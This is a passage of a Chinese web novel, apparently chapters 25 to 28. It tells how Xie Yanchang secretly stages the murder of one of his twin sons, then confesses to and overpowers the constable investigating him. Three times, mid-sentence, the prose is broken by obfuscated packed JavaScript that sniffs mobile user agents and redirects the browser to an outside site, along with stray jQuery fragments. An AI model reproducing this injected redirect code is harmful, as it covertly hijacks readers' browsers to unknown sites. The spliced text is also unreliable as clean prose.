谢檐长轻轻笑了,修长的手指一分分梳理着她的长发。她闭着眼,仿佛极为享受,谢檐长却突然一弯身,将她打横抱了起来。 “啊!”郑香月不由得失声惊叫,连忙伸出手勾住他的脖子。 “抱歉,这几日我太忙了,没能陪你和孩子们。”他已大步走向床榻,温柔的眼眸情波脉脉,如浓酽醉人的酒,“今晚,我一定好好补偿你。” 郑香月一怔,听出他话中之意,脸颊一瞬间烧得滚烫,忙将脸埋进衣襟,再也不敢看他一眼了。 谢檐长又笑了一声,烛火冥冥,夜色昏昏,更似催情的良药:“月儿,良宵佳人,岂可错过。” 宽大的床帐披落,隔绝了外面的一切,这一刻,整个世界,好像只有他和她而已。 他倾身吻住她,在她身上点燃一丛又一丛的火。她闭上眼,呼吸一声声急促,直到在他的心跳中,种下了她的心跳。 ———————————— 两日后,谢檐长和郑香月带着两个孩子,六名家仆,一同乘马车,驶向城外。 原野秋稻将熟,今年雨水充沛,又是一个丰收之年。马车驶过沉甸甸的稻田,在城外玉春河岸停了下来。 “你到沐山郡也有两年了,可家里事情多,竟始终没有机会出城游玩。” 二人走下马车,河水轻拍两岸,阳光似音律在浪花间跳跃,甚是清灵悦耳。“玉春河是宁江支流,河水不急,我小时候,爹爹常带我来河边戏水。不过阳儿和泽儿还小,等他们长大一些,再让他们去河边玩吧。” “好,都依你。”谢檐长温柔地应着,与郑香月在离河岸稍远的地方铺上竹席,四人一起坐了上去。 初次出城游玩,郑楚阳和郑楚泽都十分好奇。郑楚阳性子好动,还没坐稳,就站起来摇摇晃晃地往河边走,郑香月连忙将他抱回,紧紧揽在怀里;郑楚泽比起兄长则安静得多,坐在竹席上四下张望,一双乌黑浑圆的眼睛煞是明亮可爱。 孩子们尚幼,奔跑走动都有些勉强,谢檐长和郑香月就从身侧摘一些花草,同两个孩子编织玩闹。转眼间已至午时,家仆端来饭菜糕点,马车内设有火炉,饭菜都还是温热的。郑香月擦净双手,拈起一块莲子糕—— 身后突然一声闷响。 她转过头,却见两个家仆应声倒地,深邃的林子里,走出了一个手执长刀,黑布蒙面,目光狠戾的男人。 心跳一抖,慌恐中谢檐长已起身挡在她和两个孩子身前,凝眉问那黑衣人:“你是何人?” ——只不过,虽是质问,他的声线太过柔和,而显得毫无威慑力。 果真,那黑衣人只冷冷扫了他一眼,继而长刀凌光,迅速向右迈出一步,已毫不留情地将第三个家仆斩杀! 鲜血喷薄而出,所有人都不由得打了一个寒战。 “快……你们,拦住他!”郑香月颤抖着开口,将两个孩子紧紧护在怀里。 他们知道,他们身无武功,与那黑衣人相战,只有死路一条。然而他们身家性命都早已卖给了郑家,许多人更是一家老小都受过郑家恩惠,此时也只有拼死一搏,报答郑俞明恩情,为郑香月几人争取逃命的时间了。 余下三名家仆视死如归地冲向黑衣人,却在长刀下化成一团团模糊的血肉,谢檐长回身拉住郑香月的手,语气因焦灼而带了几分冷硬:“快起来,我们没有时间耽搁,必须骑上马,才可能从那人刀下逃走。” “我双腿没有力气……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16998228|193148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 郑香月双眼水汽弥漫,“你带着,带着阳儿和泽儿先走……” “别说傻话。”谢檐长奋力将她拉了起来,“我不会……” 话音戛然而止。 双眸一瞬间失了神,他松开了握住她的手,重重栽倒在竹席上。 郑香月一下子脱力跌倒在地,抬起眼,却对上了那黑衣人比冬雪更冷的目光。 两个孩子瑟缩在她身后,紧紧攥着她的衣襟——即使他们还不能明白发生了什么,但恐惧,却是人类的本能。 所有家仆都死了,河水拍击着河岸,阳光一颗颗破碎,如难再拾取的琼珠。 “你……求你,放了我的孩子……”郑香月双唇颤抖,惨白如纸,“如果,如果郑家……有对不住你的,我,我回去,定会请父亲查明……” 她必须保护两个孩子,也必须保护谢檐长。 男人冷然俯视着她,长刀犹在滴血:“只能活一个。” 郑香月一怔:“什,什么?” 男人目光平静残忍,好像一尊死神:“你的两个孩子,只能活一个,你来选择。” 郑香月呆怔半晌,仿佛才终于明白了他的意思。无垠的寒意自心底升起,冻结了她行将喷涌而出的眼泪,她跪伏下身子,颤抖着哀声恳求:“求你了,不要杀我的孩子,求你不要杀我的孩子……你杀了我吧,只求你放过我的孩子……” 男人无动于衷,冷淡地重复:“你来选择,杀死哥哥,还是弟弟。” 郑香月泪眼婆娑,不住地摇头:“求你告诉我,你为何要这样做……如果你恨郑家,如果是郑家有负于你,你取走我的性命就好了……我的孩子什么都不知道,他们只有一岁,他们是无辜的……” “我要你的性命何用?”男人冷冷道,“多说无益,你快选择吧。再拖延下去,我只好将两个孩子都杀死。” 郑楚阳和郑楚泽一边一个,拽着郑香月的衣角,没有发出一点声音。他们听不懂娘亲在说什么,父亲为何倒在了地上,也不明白那个高大的男人是谁,但他们能感觉到,发生了某种不好的事。 郑香月仍在苦苦哀求,让她选择杀死哪一个孩子?她如何能做这样的选择?她不顾地面冷硬,重重地,一下又一下地朝着那个男人磕头,细嫩的皮肤很快渗出鲜血——那个男人,却突然一脚将她踢翻在地:“不要再说了,听着心烦。” 郑香月不敢再言,抱紧了两个孩子,在泪光中向他望去。 那双眸子漆黑如墨,映着秋初明媚的光,却无一份暖色。她渐渐地绝望了。她根本不知道他是谁,为何会恨郑家——他定是恨郑家的,他不杀她,是因为杀死她的孩子,会令她千百倍地痛苦。 那个男人终于再次开口,长刀轻转,指向她的眉心:“我数到三,如果,你仍不做选择,那么,两个孩子都要死。” 郑香月双唇翕动,已不能言。 冷漠的声音如冥钟幽幽而响。 “三——” “二——” “一——” 26. 为什么死的不是我呢 长刀微动,郑香月如被烫了一下,惊慌地回身将两个孩子抱在怀中。“我……我选……”她终究彻底绝望了,那个男人说的,是真的。她不能让两个孩子都死去。 “我……留下泽儿……” 她放开了郑楚阳的手。 男人冷笑了一声,上前一步,白光毫无迟疑地闪过,晃得她双眼刺痛。下一瞬,滚烫的鲜血溅满了她的脸颊。 她知道那是谁的血。 她不敢去看,将郑楚泽的脸埋在她胸前,可是心底的悲痛仿佛吃人的恶魔,攫取了她的视野,攫取了她的呼吸——她的神志渐渐混沌,想哭却只剩下颤抖,最终,失去了万物的光亮。 郑香月的身体软绵绵地滑落,那个男人反手两掌,将她和郑楚泽击晕了过去。 这一瞬间,河岸寂静如死,只余下河浪沉浮,光影破碎的声响。 而后,男人收起刀,对着仍倒在地上的谢檐长躬身:“伏焱,已经结束了。” 谢檐长——伏焱便睁开眼,从容地起身,又将褶皱的袖口理平。 他看向已无生气,郑楚阳的尸体,目光像覆了经年的冰:“我猜对了。” 男人低眉垂手地立在伏焱身侧,一言不发。 伏焱斜目看向他,嘴角不由得微微勾起:“徐戾,你就不想问我吗?” 徐戾垂睫道:“您的做法,我确实不解,但无论您要做什么,我都会誓死追随您。” 伏焱闻言轻笑了一声,未置可否,只将视线移开。河浪金波轻泛,初秋林风尚暖,他一动不动地站了片刻,好似看到了某些遥远的光景。 终而,他再次将目光转向徐戾,双瞳深邃而幽谧,徐戾已不能探究。 “你先走吧,这里,暂时没你的事了。” “是。”徐戾恭敬道,向伏焱再行一礼,转身离开,黑色的身影很快融进了幽深的林中。 伏焱再次转目。 郑香月仍然昏迷未醒,眉心紧蹙,泪痕犹在。郑楚泽虽然也在昏睡,神色却平静安适,似乎真的只是睡着了而已。 伏焱蹲下身,看着郑楚泽无知而安详的睡脸,眸子里竟泛起某种湿润的情绪。 既似温柔,又似怨恨,既似怜惜,又似哀痛。 “墨白……风余……”他低声喃喃,却只有不远处马儿啼鸣,是他唯一能得到的回应。 留下来的人,总是什么都不知道,却要死去的人,背负着一切。 是啊,他也本该死了,可是他却活了下来。 ———————————— 郑俞明闻此噩耗,恸哭不止,郑家在沐山郡乃大家望族,闻此要案,龚都尉不到一炷香就赶至郑府,向谢檐长询问事情经过。 谢檐长便将遇袭之事复述了一遍,但他很快就被打晕,再醒来时,郑香月和郑楚泽都已昏迷,郑楚阳已死,黑衣人也不见了。具体发生何事,恐怕还要等郑香月醒来才知。 龚都尉和督吏陈俭如实记下,又向郑俞明询问一番,可有怀疑的仇家。郑俞明说了几个名字,龚都尉便离开先去调查了。送走龚都尉,郑俞明回过身,却见谢檐长一动不动地坐在椅中,目光落在地上,像蒙了不散的烟霭。 他不免担心,上前握了握谢檐长的肩膀:“檐长,你千万不要冲动。” 谢檐长抬起头,深深地看向郑俞明。 “敌人武功高强,我会另雇江湖人去调查,你千万不可报仇心切,冲动行事。” 谢檐长的视线复又落回地上,半晌方道:“好。” 郑俞明长叹一声:“泽儿已经失去兄长,不能再失去父亲了。月儿遭此变故,也不知道能不能撑过去。他们都需要你,你身为父亲和丈夫,更应该……保持理智,忍非常之痛。” “请父亲放心。”谢檐长轻声,“我都知道。” 心底的温柔、怜惜、哀痛,似乎都渐渐消失了。 渐渐消失,归于平淡,以至于显得有些无趣了。 他不觉得悲伤,他好像已经被摘除了名为“悲伤”的情绪。 当年,娘亲也是这样做出了选择吗?她牺牲了他,为什么却没有养育弟弟成人呢?她——还活着吗? ———————————— 过了一日,郑香月终于醒来。 郑府挂满白幡,随秋风摇曳,更显得冰凉。送来温水的女婢穿着素衣,她见了,眼泪不由得扑簌簌落下。 原来不是梦。 她一挥手,打翻了水盏。 不多时,郑俞明匆匆赶来,见郑香月蜷缩在床角,双眼无神地望着墙面,泪水却零落不止。郑俞明心痛难抑,坐到她身边,轻轻握住她的手:“月儿,我听闻你醒来之后,不吃不喝,这如何行呢?” 郑香月一动不动。 郑俞明叹道:“你起来吃些东西,想要什么,就让厨房给你做,让枫兰去给你买,好吗?” 郑香月仍然望着墙壁,一动未动。 郑俞明百般相劝,她却连目光都未移开半寸。终于,郑俞明也无计可施了:“罢了,月儿,我……叫檐长来见你。” 谢檐长来时,日头已西。 郑香月仍保持着先前的姿势,没有任何反应。谢檐长在床边静静停了片刻,却也不发一语,在窗边的椅子上坐下了。 夕阳透过窗纸映在他发上,他便有如金身加持而泽被万物的神佛。他望着郑香月,郑香月望着墙,两个人安静地,一动不动地坐着,直到日暮沉尽,天空重染上幽深的靛色。 “檐长……”郑香月终于启口,嗓音干涩得不似人声,“我的……孩子呢?” 谢檐长起身:“好,你等一等。” 他快步走到门旁,打开门,吩咐候在廊下的枫兰:“去把泽儿带来。” 郑楚泽暂时安置在邻院,不多时,枫兰就抱了他过来。郑楚泽见到谢檐长,扬起了笑脸,谢檐长也挂上温煦的笑容,向枫兰微微颔首,走回里间。 他走到床边,将郑楚泽小心放在郑香月膝上,柔声劝道:“饿了一日,吃些东西吧?” 郑香月却恍若未闻,只低着头,看向怀中的孩子。郑楚泽似乎感应到了什么,看着娘亲,皱起小小的眉头,忽而竟哭了起来。 “哎呀,怎么哭了。”郑香月连忙抱住他,细声软语地哄着,“乖,不哭了,娘亲带你去吃好吃的。不哭了,我的阳儿最乖了。” 谢檐长安静地站在床边,目光微动,未发一言。 ———————————— 龚郡尉带着陈俭调查走访,凶手的线索没有找到,陈俭心中却生出了怀疑。 对谢檐长的怀疑。 倒不是谢檐长做了什么,或者做错了什么,恰恰相反,郑家从郑俞明到扫洒家仆,县里从为郑家诊病的大夫,到仅与谢檐长有一面之缘的菜贩,无一不对谢檐长的遭遇叹惋不止,又对他本人称赞有加。他见过谢檐长数面,谢檐长确如众人的描述,才貌人品,无可挑剔。 可是——他先前未觉,今日问过众人,才意识到有哪里不对—— 谢檐长不是神,他只是一个人。一个人,怎会事事完美妥帖,没有任何缺点呢? 谢檐长,苍州人士,入赘郑家之前,他在候津县经营一间首 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17006753|193148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 饰铺子。然而关于他到候津县之前的行踪,却没有任何记录。 陈俭决定向龚都尉告假,去临近的县城村落,问上一问。 ———————————— 一日日过去,郑香月的精神似乎正渐渐好转,午后天气暖时,她便在院子里坐上片刻,看着枫兰和堇棠同郑楚泽嬉闹。谢檐长仍旧忙碌,一日里见不了几个时辰,郑楚阳虽死了,但郑家上下,还有上百人要活着。 郑香月的心智却时而清醒,时而混沌,她有时会将泽儿当成阳儿,有时却又能认得他就是泽儿。郑府上下都得了令,郑香月叫什么,那便是什么。他们也怕郑楚泽察觉有异,就告诉他,他有两个名字,“阳儿”,是他的小名。 不知道郑楚泽是否听懂了,但他能吃能喝,贪玩贪睡,似乎……早已忘记了他曾有一个哥哥。 谢檐长也从没有揭穿她。 郑楚泽吵闹着要吃红豆糕,枫兰带着他走了,谢檐长从前堂回来,将扶风披在她肩上:“天气渐冷,下次出来,记得多拿一条围毯。” 他在她发间落下轻轻一吻,夕光缱绻,他的声线比云霞更加温柔。 “我哪有这样弱不禁风。”郑香月低着头,脸颊飞了红晕。 谢檐长扶起她,牵着她的手,她温顺地随他一起向屋子走去,可在跨过门槛时,仿佛光影突然沉寂,郑香月的身子也忽然顿了一下。 她却什么都没有说,直到走进房间,掩上房门,她忽然挣开谢檐长,回过身,一瞬不瞬地盯着他双眼:“你为什么不难过?” 谢檐长眼睫微动,温声道:“你若难过,可以大哭一场。” 郑香月死死地盯着他,又重复了一遍:“你为什么不难过?” 谢檐长静了静,终叹声道:“我难过的时候,你没有看见罢了。” 他知道,她又记起来了,她此刻是清醒的。 郑香月看着他,不再说,半晌,眼中突然落下泪来。 谢檐长叹息着上前抱住她,将她的脸埋在自己肩膀。他一手将她抱紧,一手轻抚着她的长发,目光却是一如既往的平静,仿佛一方全无波澜亘古不变的枯井。 许久,她终于哭得累了,靠在他肩上,黯声喃喃:“是我害死了阳儿。” 谢檐长静静地抱着她,没有说话。 “无数个夜里,我从梦中惊醒,仿佛能看见阳儿就站在床边。他还不会讲话,就这么看着我,看着我,可我连动都不能动。我知道,他一定在怪我,他一定恨透了我,为什么死的……不是我呢?” 谢檐长未言,轻抚她长发的手却停了下来。 “但是……这些,都是我该承受的。”郑香月又道,话音喑哑而微染萧瑟,“是我害死了阳儿,无论再痛,再苦,都是我该承受的……我不能死,只有这样,我才能赎清我的罪过。” “赎罪吗?”谢檐长轻飘飘的话音落下,“那泽儿呢?” 郑香月怔住了。 她忽然不知道该如何答,泽儿呢?泽儿自然是她的孩子,可是……阳儿呢? 双胞胎相差无几的面孔在眼前交替出现,她忽然有些分不清哪张脸是泽儿,哪张脸是阳儿,她不由得无措,慌乱地退了一步,可那两张面孔却紧紧追了上来—— 脑海中数不清的意识如飞蛾般窜出,她眼前骤然暗了下去。 谢檐长在郑香月倒在地上之前接住了她。 他弯腰抱起她,将她轻轻放到床上。 赎罪吗?他的母亲,也在赎罪吗? 是啊,死去了,就无法赎罪了。 她一定也还活着。 27. 虎毒不食子 秋深了。 枝头叶色稀疏,将晨光筛得更加凉薄,秋霜结在石砖上,像漏下的盐粒子。陈俭终于回到沐山郡家中,进了屋,便闷声向床上倒去。 他走了候津县四郊及北共二十处县城村落,无一人见过谢檐长。 他问了候津县内三十户人家,无一人知晓谢檐长的身世和过去。 他们的说法同出一辙——谢檐长才貌过人,温良谦逊,是一个很好的人。 陈俭不禁有些头疼了。 谢檐长此人密不透风,他该如何寻到破绽?——谢檐长绝对不是看起来那样简单干净,陈俭几乎可以断定,他与小公子被杀有关,他入赘郑家,或许也有不可告人的目的。 思索再三,陈俭决定亲自去监视谢檐长。 再滴水不漏的人,也终究是人。是人,就总要有摘下面具,透一透气的时候。 ———————————— 天气渐冷,谢檐长约了马老板验货,特意选在了午后日头正足之时。 马老板如约而至,与谢檐长寒暄一番:“谢公子,今年又是丰收之年,值得庆贺。等验完这批货,谢公子与我同去妙香楼喝上一壶,如何?” “粮食丰收,更是百姓之福。”谢檐长笑着道,引马老板进入粮仓,“这批粟米颗颗饱满,成色更胜去年,还请马老板过目。” 马老板打开一袋,细细摸过,确实是上等粟米。但他还是抱着侥幸道:“谢公子,粮食确实很好,郑家声誉,我也信得过。只是这价格……” 谢檐长笑得和睦:“马老板,一石只涨了三钱,我以为,已经极少了。” “是,是,谢公子说的是。”马老板忙连连应道,不再还价,招呼手下伙计过来搬运。谢檐长的笑容永远温柔得像春池之水,可那水底,却好似藏了结冰的深渊。 谢檐长看着马老板的伙计搬运粮食,日光粼粼,秋将入冬,运完这些,今年的生意也基本告一段落了。 他忽然侧过头,向院墙一角,望了过去。 马老板正口若悬河,说着他早年随商队去祈国,路遇劫匪,一番惊险搏斗,终于保住了货物之事,忽察觉谢檐长正目不转睛地望着远处,不禁出言唤道:“谢公子?那边……有什么?” 只是一堵围墙,虽有些旧了,砖石间漏出许多缝隙,但……并无特别之处吧? 谢檐长回过视线,笑着对马老板道:“没什么,我只是在想,冬日已至,天气愈冷,只有妙香楼的红醍酒,当属驱寒取暖之佳物。” 马老板当即应道:“谢公子,别说这天冷,我肚里馋虫,也早已耐不住了。我叫他们将粮食运回去,还要劳烦谢公子,再陪我一个时辰。” “马老板此言差矣,是要劳烦您,再陪我一个时辰。”谢公子向马老板一抱拳,“马老板远来是客,可定要让我一尽地主之谊。” “不敢,不敢,那,我就却之不恭了。”马老板连连躬身,道了声失陪,走上前去吩咐几个伙计,他则又转过目光,遥遥向那面墙望去。 眸子渐渐冰凉,然后,他露出了一个安静的,没有温度的笑。 ———————————— 陈俭跌坐在地,背靠着围墙,心脏嗵嗵嗵狂跳不止。 他看见他了。 谢檐长容貌俊秀,那一笑温柔儒雅,也有那么几分倾倒众生的风姿。可陈俭只觉寒凉透心,竟不敢再望一眼。 他已经明白,他若与谢檐长为敌,一定会输。 许久,脚步声与人声都远去消失了,陈俭才扶着墙壁,慢慢地站了起来。 谢檐长并没有来找他。 他……接下来,该如何做呢?回到郡府,只当今日之事,当所有的事,都没有发生过? 他握紧了拳头,终而,还是迈开步子,向妙香楼走去。 ———————————— 妙香楼是沐山郡最大最奢华的酒楼。 陈俭只是一介九品督吏,拿着朝廷屈指可数的月俸,自然是进不去这间酒楼的。 他只得退而求其次,在妙香楼对街的一间普通酒楼内,要了一个靠窗的座位。 陈俭卸刀落座,向店小二要了一壶清酒。此处可以望见妙香楼,若谢檐长离开酒楼,他就能—— 身子忽然一僵。 谢檐长竟就坐在窗边,与马老板饮酒谈天。见到陈俭,他抬目一望,又不动声色地转回。 谢檐长根本不怕他,也毫无躲避隐藏之意。甚至,或许,谢檐长故意沿窗而坐,就是为了让他看见,却依旧无计可施。 谢檐长分明有问题,可他,确然无计可施。 正自愁绪不展,一个火红的身影忽然坐在了他对面。 陈俭不由得蹙起眉,他同她说过多少次了,哪有她这样做飞贼的?这身红衣放在人群中太过扎眼,极难隐藏行踪,他当年便是凭这一身红衣抓住她的——虽然,她已经答应他,不再做飞贼了。 “陈俭,我到处找不到你,你怎么一个人躲在这里喝闷酒?”袁清明拿过酒壶,也不等店小二送来酒盏,仰头直接喝了大半壶。 “我并非在喝闷酒,我在查案。”陈俭叹了口气,接过酒壶晃了晃,酒已所剩无几,他于是叫过店小二再来一壶,“袁姑娘,莫要贪杯豪饮,当心对身子不好。” “这话,还是对你自己说吧。”袁清明眨眨眼,倾过上身,“我可不记得你酒量有多好,瞧你这脸色,啧啧,喝了两壶?” “两壶多两盏。”陈俭倒也诚实。 袁清明连连撇嘴:“不是查案吗?你们现在,查案的时候可以喝酒?督吏换人做了?那龚都尉不管你了?” “没有。”陈俭摇头道,又叹了口气,“并非在册之案,我这是……暗访。” 袁清明皱起眉:“什么暗访?你升官了?” “不是。”陈俭顿了顿,忽转言问道,“你何时回来的?” “就今天,怎么了?”袁清明不解。 陈俭却犹豫了半晌,才又问:“你今日,可曾在街上听过郑家的事?” “郑家怎么了?”袁清明反问。 陈俭再一次叹息,店小二端来新的一壶酒和新的酒盏,陈俭倒了一杯,将郑家小公子被杀一案和他的调查告诉了袁清明。 “你……”纵使袁清明性格豪爽不拘小节,然而此事事关重大,她仍不得不压低了声音,“你竟然会怀疑小公子的亲生父亲?” “你也觉得很荒谬,是不是?”陈俭叹道。 “你说你暗中监视了那谢公子几日,可有发现什么不对吗?”袁清明问。 陈俭摇摇头:“没有,但正因 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17015904|193148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没有,我才越觉得可疑。” 袁清明目色也不由得凝重:“这话怎么说?” 陈俭轻声道:“谢公子行事毫无错漏,堪称完人,这已是最大的疑点。亲子被杀,妻子尚未康复,他却不见慌乱忧心,更不曾出过一点差错。” 袁清明猜测道:“谢公子或许,只是擅长忍耐,强撑着而已。也许他在夜深人静的时候,也会一个人偷偷地流泪?” 陈俭一怔,哭笑不得地看着她:“谢公子和郑姑娘同卧一榻,若夜半起身,郑姑娘怎会数月不曾察觉?”顿了顿,“我怀疑谢公子,还有一点,就是那日我随龚都尉去郑府,谢公子谈及凶案,实在太冷静了。” “怎还不许人冷静了。”袁清明嘀咕道,见陈俭皱眉瞥她,连忙换了个姿势,轻咳两声,“我的意思是,谢公子究竟为什么要谋杀自己的孩子?你们读书人不是有个说法,叫什么毒老虎不吃孩子?” “虎毒不食子。”陈俭道,却又忍不住叹气,“是啊,便是这点,最说不通。再者,他即使与真凶勾结,又为何,只杀了一个孩子呢?” 袁清明抓了抓头发:“你不是说,还有一个黑衣蒙面男子吗?那个人,抓到了吗?” 陈俭摇了摇头:“巡捕已寻遍沐山郡四周所有村落县城,那凶手竟也毫无线索,不知该从何寻起。” “你先不要着急。”袁清明笑着探身,拍了拍他肩膀,“明日我去临县问问,我一个老百姓,说不定能问出更多有用的消息。” “那,我先多谢你了。”陈俭向她拱了拱手。 “你跟我客气什么。”袁清明果真不客气,这一壶酒大半都叫她喝了,“等你查完案子,再请我喝酒就行了。” “好,袁姑娘想喝酒,陈某自当奉陪。”陈俭终于笑了笑,抬眼向窗外望去,不由得神色一变。 “怎么了?”袁清明见陈俭神色有异,忙也转头看向窗外。 陈俭转回视线:“没什么,谢公子刚才在妙香楼,现在已经走了。” 袁清明抱歉地道:“我是不是打扰你了?你现在追上去,来得及吗?” “无妨。”陈俭笑着道,“天色已晚,谢公子大约已回郑府,明日我再继续监视就行。袁姑娘,这酒……又要没了,你……” 袁清明已转头:“小二,再来一壶……不不,来一坛酒!” ———————————— 离开酒楼,夜近子时,孤零零的月如银钩,在闾巷间投下幽谧的影。 陈俭已喝醉了,扶着墙,脚下也有些不稳当。袁清明一直劝他不要喝了,他不像她千杯不倒,但他心中苦闷,仍不管不顾地又喝了十余盏。 酒楼打烊之后,二人方才离去,袁清明要送他回家,他也拒绝了。 说到底,她也并不信他。 是啊,谁能信呢。亲生父亲杀死了亲生孩子,该是怎样一个恶魔,才能做出如此残忍之举? 可是,谢公子绝对有问题。虽然他尚未查清,但谢公子绝对有问题。 陈俭一路想着,跌跌撞撞地回了家,推开院门,脚步却停住了。 院内立着一人,身形颀长,青袍玉簪,正平淡地、寂静地向他望来。 他的酒一瞬间醒了大半。 那个人,正是他跟踪了一整日的,谢檐长谢公子。 28. 的确是我杀的 “你……为何会在我家?”陈俭不敢入内,右手已下意识地搭上腰侧佩刀。他忽然有些后悔,没有叫袁清明送他回家了。 这谢檐长,身怀武功。 虽然袁清明的武功也只有二流水平,但……即使他被杀,如果能有人向龚督尉报信,道明真相,那也值得了。 陈俭一身警惕防备,谢檐长却笑了,眉目温朗,如疏淡的星:“陈督吏不是正在找我吗?我便冒昧,亲自来访了。” 陈俭不知道他究竟葫芦里卖的什么药,不发一言,沉目凝视着他。 谢檐长又笑了笑,有些无奈似的:“夜深风寒,陈督吏难道不请我进屋小坐,喝一杯热茶?陈府待客之道,便是如此吗?” 陈俭目光微动,他虽有这一间院落,但并未雇佣家仆,父母早亡,长姐远嫁,而他尚未娶亲,所谓“陈府”,也不过只他一人罢了。 但谢檐长话已至此,他也只得迈进院子,却未将院门关上,谨慎地经过谢檐长身边,打开了屋门。 “谢公子请,家中少客,只有些粗茶,望谢公子莫怪。” “不敢,深夜造访,本就是打扰陈督吏了。” 陈俭亮起灯烛,点燃炭火,屋子渐渐暖了起来。火炉上烧着水,他端来茶壶茶盏,放在桌上,又在谢檐长对面坐下。 “许久无人来访,茶具也一直未换新的,谢公子多包涵。” “不要紧,我今日来,本也不是来喝茶的。”谢檐长随和地笑着,“时辰不早,我也不便久留,陈督吏有话想问我,就请一并问了吧。” 陈俭却又沉默下来。 他想问的太多了,可是他竟不知道该从何问,也不知道是否应该问。 谢檐长笑得温文尔雅:“陈督吏近日一直在调查我,可有查出些什么?” 陈俭摇头道:“尚未。” 谢檐长仿佛并不意外,又笑了笑:“那么,陈督吏跟踪我整日,可有发现什么不妥?” 陈俭不由得低下头:“并无不妥。” 他做的一切,谢檐长都了然如掌。 谢檐长轻笑了一声,瞳孔映着烛光,幽亮如火:“你是不是觉得,是我亲手,杀死了自己的孩子?” 陈俭下意识地否认道:“我绝无此意,有道虎毒不食子,谢公子断不可能下此杀手。我只是有些疑惑谢公子的身世,故而,多打听了一些。” 谢檐长始终噙着笑,听完了陈俭的解释,他平静温和地开口:“的确是我杀的。” 陈俭怔住了。 火炉上的水吱吱作响,陈俭却一动不动,谢檐长便亲自起身,去将水壶拎了下来,又坐回桌边,娴熟地烫洗茶壶茶盏。 “这样说,有些不准确,毕竟,不是我动的手。”烫好茶壶,谢檐长放进茶叶,随即拿开水直接淋入。这只是市面上二十钱一两的粗茶,不似那些名贵之茶,水温水质都有讲究,但冲淋过后,仍有几分淡香飘逸而出。谢檐长倒出三盏,将其中一盏轻轻推到陈俭面前。 “那个凶手,是我的人。这件凶杀案,是我的谋划。” 陈俭霍然起身。 他抬手指向他,双眼怒火烈烈:“你简直残忍至极,毫无人性!” 谢檐长抬起眼,安静地笑着:“是。” 他认得坦然,陈俭不由得一顿,不可置信地望着他:“你……杀了你的亲生孩子?你如何能下得了手?那不是你的孩子吗?” 谢檐长居然也摆出一副疑惑的神色:“是啊,真的很奇怪,那明明是我的孩子,为什么他死了,我竟完全不觉得难过呢?” 陈俭下意识退了一步:“你疯了。” 谢檐长又笑了,眉眼温柔得残忍:“或许吧。” 陈俭望着他,一双眸子里全是震惊和愤怒:“杀人本已罪大恶极,你却居然,杀死了自己的孩子!” 谢檐长静静反问:“别人的孩子,和自己的孩子,有什么不同吗?” 他仿佛真的不知道一样。 陈俭声音微哑:“你实在……不可理喻。你究竟为什么要这么做?” “也没什么。”谢檐长挽袖,喝下那盏茶,又为自己沏了一盏,示意陈俭也落座,“我只是想看一看,若一个孩子死了,另一个孩子还活着,而且死去的那个,是月儿——就是郑姑娘自己的选择,以后,她会如何面对,又会如何生活。” 这番话确然是实话,但陈俭却无法相信。他没有理会谢檐长请茶,追问道:“你到底有什么目的?你和郑家,和郑老爷或是郑姑娘,究竟有何仇怨?” “我不是已经回答了吗?”谢檐长也不勉强,仍微微笑着,却又似有些伤感,“其实,我原本只想像普通人一样,过普通的日子,也许,这都要怪我太幸运了。” 陈俭蹙眉不解:“幸运?此言何意?” 谢檐长却未置可否,笑意盈盈地起身:“不是还有一个孩子吗?月儿会活下去。” 陈俭立时退了一步,握紧腰侧佩刀:“你要做什么?” 谢檐长理所应当地说:“陈督吏想必也猜到了。我告诉了你这么多,你觉得,我会让你活下去吗?” 长刀铮然出鞘,银白色刀刃染上烛光,幽亮如冥,但握刀的手,却无法控制地颤抖起来。 谢檐长从容地笑了:“你本就打不赢我,今夜又醉了,你以为,你还有胜算吗?” 陈俭不言,他确无胜算,难道便坐以待毙?念及于此,他厉喝一声,长刀如电,携风凝霜,向谢檐长兜头劈落! 猎猎刀风,却在触及谢檐长之前,尽数消散。 他甚至未移一步,只抬起右手,轻轻巧巧地捏住了刀脊。 脸上仍是温和儒雅的笑,眉眼,嘴角,每一个弧度,都恰到好处。 再一用力,真气自刀身漫至刀柄,陈俭虎口一麻,不由自主地松了手。 不可恋战,他绝无一分胜算! 下一瞬间,他已折身奔向门外,所幸先有警觉,未关院门,只要—— 然而,就在行将跨出门槛的刹那,后颈一痛,视线倏忽暗灭,天地昏蒙,万物随即失去了踪迹。 打中陈俭后颈的,是一个空茶杯。 茶杯上凝了真气,早已窜入陈俭七经八脉,谢檐长踱步而出,俯身探向他脉搏,片刻,直起身子,目不斜视地离开了。 月夜幽静,长街尽梦。子时已过,又是新的一天了。 ———————————— 